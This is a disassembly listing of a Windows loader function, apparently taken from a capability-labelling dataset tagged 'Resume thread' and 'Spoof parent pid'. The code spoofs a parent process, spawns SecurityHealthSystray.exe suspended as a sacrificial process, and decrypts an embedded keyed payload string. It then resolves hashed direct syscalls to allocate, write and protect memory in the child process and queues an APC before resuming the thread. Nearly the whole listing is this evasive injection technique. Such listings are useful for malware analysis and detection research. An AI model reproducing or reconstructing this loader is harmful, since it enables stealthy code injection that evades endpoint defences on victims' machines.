Function at 0x140011438
Capabilities:
Resume thread
Spoof parent pid

Disassembly:
jmp 0x140016450
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0xd90
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x260
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xdb8]
mov rax, qword [0x140026040]
xor rax, rbp
mov qword [rbp + 0xd38], rax
lea rcx, [0x14002c122]
call fcn.14001161d
nop
lea rcx, str.___Check_n
call fcn.1400112d5
nop
call fcn.140011320
nop
cmp dword [rbp + 0xd60], 2
jge 0x1400164f2
lea rcx, str.____Wrong__n
call fcn.1400112d5
nop
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0xd68]
mov rdx, qword [rcx + rax]
lea rcx, str._____Syntax:_._s__key___PPID_to_spoof__n_n
call fcn.1400112d5
nop
mov eax, 1
jmp 0x140016cc0
lea rax, [rbp + 8]
lea rcx, str.zaIgziqvMIlzMouGZMOmvzqemuGmzkeb
mov rdi, rax
mov rsi, rcx
mov ecx, 0x21
rep movsb byte [rdi], byte [rsi]
lea r9, [rbp + 8]
lea r8, [rbp + 0x50]
mov edx, dword [0x140026004]
lea rcx, str.14kGcZkgQmHtAJCUfKGUeD2vPCxGByyHa6fbvPo6np_F0p1GLjUQRzKbF5TPSEDxOj772HY8LJZ2JntkKLaUuUPtA7XdYmxz1jEFCg55RitJ4E8N2o3yDzoufDKospIAqyN73eTdWlj4zyb9FJorl8_ElAwKQwmk7jlUsrOmrDrBVshxforUr_2DJnIJWlIqjkbeHAvrqm_L3weNDFVBmlN_OS4pVvlkvl76y4dNNJKezh9_LSmsYO3gG02syK03mWiFr81je_Lko44OuN53NqMPD62pdvVX_7I4Hh7j_0bhqkiG4jmR1I35N6jcUNcl3BtOARZWn4ZC_1XJN_WVvmqDv04f5XA79TwdmYYEEZE2lqctwMqzQqHB26Wr6oLt98_E4TVBbKhvzyC0I3ojggNDZz4RoUbpmY8PEzLAe29jM7EC2pFHexZ5KvgOs3ILj2CVxNaaJInVJSAG0mlDpGy1_s1kDCP5swEd99sNXy3Q1TUdSAunmGb8BK4h8xyBRaQmMS_sT9VzVuuF4O1zVFCV1j5qAEXC3lnekoY8DoaTJcSnZa9YllGWiRRaakSty8OWJ0M4hB0R_gTbZZatTm1r6QCEVny4kT5NtmNIq8PWL8z5ukFkp4Umq_bHsaMKLvsPIenq2kjKavTZgSx_N3gLpSA8yjB7GHa3jWe0i0kR3__M05REQW29A9_Lb3WhRKxwCMo76JMdoYQm5vggg0GPqLhdGetEvyRoAhdb1kWyBVA5eIgMkHbsSArYuhkNFwT3fUy0Uzb9hPLis2BxNTwApA2NITLFMFRuV6zOjl1G9Hs0d2pPT0u3cuqx4p8xqRKbw8hDPftaKhHdXdiw_HDQE2kNlDR936GvD9Kcy6hQ6jCZP1f23CRyMzDnTn8T3EAUsU4fhM9nTKq0Q38_7k0YfTUZMtzqUAcUD0kZqosGCRitQqpDdxbbGUT7nYLrHxPGGv28a7xKfSpwzdSXaufNBcaVXcn6PDNZNERROg8nyBWtoKkLINjb4XwRalicIzHin6s3CCksrvP2YuBeaS3bM3SVUqr2AUyujetyATTIdmjgRLcAoz6YvyKMaKDOYwiMoO9logFOdupmp_Nc3G4yC_gSF3n4QTh38YfNRM9IQUXMcTjXjBwj1tLWcr0rvvNhPhcGscRB03LsRFKztbYMqq2ZlBDLeJb9XYITX5isjNMVsTKLhyWyXrbdBOHvDrQGkRk7xXwi1xJ66t_UGsJbzJWjWvd0F4w6mr8JnsOdH14OS1GwAkgjgZuTYlmIp5ESE8eGNFwg11OUGLHGD1fZCSOQz5dE0pPFD9ezvIxQfRkMZewCtwI1I0jtrPhzWgTDAHdHwuz8UbecEKSsGmvbvLP4LGJKcppdIEmEmZc9wnWb2dMk8yXYcGcP42v8ahQ76fv_9efguAioGn2VsWswgRytNn9A9owXfHjGDxSX2kTUC3Np5PCGBsqd3EI4_MT6Hasb14yzzvbfK6LlNPc2T0MIPkcEKVjGTAjzSPumJgmA_xO91jAtovXrSjhLdT53bu_qF7xG1mpe6zgXmGWEWPzJ_JUZAUgY6Jp2aB1cft1aHEqb5rjR_vGnny_LfICaGZs65x_CBETHZZtxfaPJUvJ_0tFLmVbTz6KKvceTOjns5I9PHWu3eWdXZGlP971XXsk7GeYGQmhxJNuNq1YprvMX1Y20B0_L4oo36wCo67FbYWeWPKAJxWnO4lSqzAHACWAqa1ySUrRYn4MvwmcXuEROt3IeG3XYdcEqYixFsdbqnCRfJj6yyiJJ_45vKQaVG3Y3SflZzRbUlvezMB8yPedzMg2OobsefkryKtd96ZpMWx1nCHVB_afSnO_hitsnsIjoGC7hA82TpOsduXZ
call fcn.14001131b
nop
mov eax, 8
imul rax, rax, 2
mov r8d, 0xa
lea rdx, [rbp + 0x468]
mov rcx, qword [rbp + 0xd68]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_strtol]
mov dword [rbp + 0x484], eax
call fcn.140011578
mov dword [rbp + 0x4a4], eax
cmp dword [rbp + 0x4a4], 0
jne 0x140016572
mov eax, dword [rbp + 0x4a4]
mov dword [section..data], eax
mov qword [rbp + 0x4c8], 0
mov dword [rbp + 0x4e4], 0x400
mov qword [rbp + 0x508], 0x400
mov eax, dword [rbp + 0x4e4]
mov dword [rbp + 0x524], eax
xor eax, eax
mov word [rbp + 0x544], ax
mov qword [rbp + 0x568], 0
mov r8d, 0x70
xor edx, edx
lea rcx, [rbp + 0x590]
call fcn.1400114d3
nop
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x618]
call fcn.1400114d3
nop
mov dword [rbp + 0x590], 0x70
mov dword [rbp + 0x5cc], 0x80000
mov qword [rbp + 0x648], 0
mov qword [rbp + 0x668], 0
movabs rax, 0x101000000000
mov qword [rbp + 0x688], rax
movabs rcx, 0x4fd1cd7bbe06fcfc
call fcn.14001139d
mov qword [rbp + 0x6a8], rax
movabs rdx, 0x718cca1f5291f6e7
mov rcx, qword [rbp + 0x6a8]
call fcn.140011127
mov qword [rbp + 0x6c8], rax
mov rcx, qword [rbp + 0x6c8]
call fcn.140011122
mov word [rbp + 0x544], ax
mov rcx, qword [rbp + 0x6c8]
call fcn.14001153c
mov qword [rbp + 0x568], rax
movzx ecx, word [rbp + 0x544]
call fcn.140011681
nop
mov rcx, qword [rbp + 0x568]
call fcn.14001126c
nop
lea rax, [0x140011451]
mov qword [0x1400264d8], rax
mov dword [rbp + 0x6e8], 0x30
mov qword [rbp + 0x6f0], 0
mov dword [rbp + 0x700], 0
mov qword [rbp + 0x6f8], 0
mov qword [rbp + 0x708], 0
mov qword [rbp + 0x710], 0
movsxd rax, dword [rbp + 0x484]
mov qword [rbp + 0x738], rax
mov qword [rbp + 0x740], 0
lea r9, [rbp + 0x738]
lea r8, [rbp + 0x6e8]
mov edx, 0x80
lea rcx, [rbp + 0x668]
call qword [0x1400264d8]
mov dword [rbp + 0x764], eax
cmp dword [rbp + 0x764], 0
jge 0x14001673f
mov edx, dword [rbp + 0x764]
lea rcx, str.____Failed_in_sysNtOpenProcess__0x_X__n
call fcn.1400112d5
nop
mov eax, 1
jmp 0x140016cc0
cmp qword [rbp + 0x668], 0
jne 0x140016753
mov eax, 1
jmp 0x140016cc0
lea rcx, str._t__Called_sysNtOpenProcess_n
call fcn.1400112d5
nop
mov qword [rbp + 0x788], 0
lea r9, [rbp + 0x788]
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
nop
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x788]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x5f8], rax
lea r9, [rbp + 0x788]
xor r8d, r8d
mov edx, 2
mov rcx, qword [rbp + 0x5f8]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
nop
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x668]
mov r8d, 0x20000
xor edx, edx
mov rcx, qword [rbp + 0x5f8]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
nop
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x688]
mov r8d, 0x20007
xor edx, edx
mov rcx, qword [rbp + 0x5f8]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
nop
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.SuspendThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x7a8], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.CreateProcessA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x7c8], rax
lea rax, [rbp + 0x618]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x590]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.c:windows_system32SecurityHealthSystray.exe
call qword [rbp + 0x7c8]
test eax, eax
jne 0x1400168eb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_Spawn_Sacrificial_process___u__n
call fcn.1400112d5
nop
mov eax, 1
jmp 0x140016cc0
mov r8d, dword [rbp + 0x628]
lea rdx, str.c:windows_system32SecurityHealthSystray.exe
lea rcx, str._n___Spawning_Sacrificial_Process:__s__PID:__d_..._n_n
call fcn.1400112d5
nop
mov rax, qword [rbp + 0x618]
mov qword [rbp + 0x7e8], rax
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x808], rax
mov rcx, qword [rbp + 0x808]
call qword [rbp + 0x7a8]
nop
call fcn.140011320
nop
movabs rdx, 0xf5bd373480a6b89b
mov rcx, qword [rbp + 0x6a8]
call fcn.140011127
mov qword [rbp + 0x828], rax
mov rcx, qword [rbp + 0x828]
call fcn.140011122
mov word [rbp + 0x544], ax
mov rcx, qword [rbp + 0x828]
call fcn.14001153c
mov qword [rbp + 0x568], rax
movzx ecx, word [rbp + 0x544]
call fcn.140011681
nop
mov rcx, qword [rbp + 0x568]
call fcn.14001126c
nop
lea rax, [0x140011456]
mov qword [0x1400264c0], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x508]
xor r8d, r8d
lea rdx, [rbp + 0x4c8]
mov rcx, qword [rbp + 0x7e8]
call qword [0x1400264c0]
mov dword [rbp + 0x844], eax
cmp dword [rbp + 0x844], 0
jge 0x1400169fd
mov edx, dword [rbp + 0x844]
lea rcx, str.____Failed_in_sysNtAllocateVirtualMemory__0x_X__n
call fcn.1400112d5
nop
mov eax, 1
jmp 0x140016cc0
lea rcx, str._t__Called_sysNtAllocateVirtualMemory_n
call fcn.1400112d5
nop
movabs rdx, 0x68a3c2ba486f0741
mov rcx, qword [rbp + 0x6a8]
call fcn.140011127
mov qword [rbp + 0x868], rax
mov rcx, qword [rbp + 0x868]
call fcn.140011122
mov word [rbp + 0x544], ax
mov rcx, qword [rbp + 0x868]
call fcn.14001153c
mov qword [rbp + 0x568], rax
movzx ecx, word [rbp + 0x544]
call fcn.140011681
nop
mov rcx, qword [rbp + 0x568]
call fcn.14001126c
nop
lea rax, [0x140011172]
mov qword [0x1400264c8], rax
mov eax, dword [rbp + 0x524]
mov qword [rsp + 0x20], 0
mov r9d, eax
lea r8, [rbp + 0x50]
mov rdx, qword [rbp + 0x4c8]
mov rcx, qword [rbp + 0x7e8]
call qword [0x1400264c8]
mov dword [rbp + 0x884], eax
cmp dword [rbp + 0x884], 0
jge 0x140016acd
mov edx, dword [rbp + 0x884]
lea rcx, str.____Failed_in_sysNtWriteVirtualMemory__0x_X__n
call fcn.1400112d5
nop
mov eax, 1
jmp 0x140016cc0
lea rcx, str._t__Called_sysNtWriteVirtualMemory_n
call fcn.1400112d5
nop
mov dword [rbp + 0x8a4], 0
movabs rdx, 0x858bcb1046fb6a37
mov rcx, qword [rbp + 0x6a8]
call fcn.140011127
mov qword [rbp + 0x8c8], rax
mov rcx, qword [rbp + 0x8c8]
call fcn.140011122
mov word [rbp + 0x544], ax
mov rcx, qword [rbp + 0x8c8]
call fcn.14001153c
mov qword [rbp + 0x568], rax
movzx ecx, word [rbp + 0x544]
call fcn.140011681
nop
mov rcx, qword [rbp + 0x568]
call fcn.14001126c
nop
lea rax, [0x140011113]
mov qword [0x1400264d0], rax
lea rax, [rbp + 0x8a4]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rbp + 0x508]
lea rdx, [rbp + 0x4c8]
mov rcx, qword [rbp + 0x7e8]
call qword [0x1400264d0]
mov dword [rbp + 0x8e4], eax
cmp dword [rbp + 0x8e4], 0
jge 0x140016baa
mov edx, dword [rbp + 0x8e4]
lea rcx, str.____Failed_in_sysNtProtectVirtualMemory__0x_X__n
call fcn.1400112d5
nop
mov eax, 1
jmp 0x140016cc0
lea rcx, str._t__Called_sysNtProtectVirtualMemory_n
call fcn.1400112d5
nop
movabs rdx, 0x7073ed9f921a0267
mov rcx, qword [rbp + 0x6a8]
call fcn.140011127
mov qword [rbp + 0x908], rax
mov rcx, qword [rbp + 0x908]
call fcn.140011122
mov word [rbp + 0x544], ax
mov rcx, qword [rbp + 0x908]
call fcn.14001153c
mov qword [rbp + 0x568], rax
movzx ecx, word [rbp + 0x544]
call fcn.140011681
nop
mov rcx, qword [rbp + 0x568]
call fcn.14001126c
nop
lea rax, [0x140011424]
mov qword [0x1400264e0], rax
mov rax, qword [rbp + 0x4c8]
mov qword [rbp + 0x928], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x928]
mov rdx, qword [rbp + 0x928]
mov rcx, qword [rbp + 0x808]
call qword [0x1400264e0]
mov dword [rbp + 0x944], eax
cmp dword [rbp + 0x944], 0
jge 0x140016c81
mov edx, dword [rbp + 0x944]
lea rcx, str.____Failed_in_sysNtQueueApcThread__0x_X__n
call fcn.1400112d5
nop
mov eax, 1
jmp 0x140016cc0
lea rcx, str._t__Called_sysNtQueueApcThread_n
call fcn.1400112d5
nop
mov rcx, qword [rbp + 0x620]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [rbp + 0x964], eax
cmp dword [rbp + 0x964], 0xffffffff
jne 0x140016cbe
lea rcx, str.____Failed_to_resume_thread__n
call fcn.1400112d5
nop
mov eax, 1
jmp 0x140016cc0
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x140022220]
call fcn.140011550
mov rax, rdi
mov rcx, qword [rbp + 0xd38]
xor rcx, rbp
call fcn.1400112f3
lea rsp, [rbp + 0xd40]
pop rdi
pop rsi
pop rbp
ret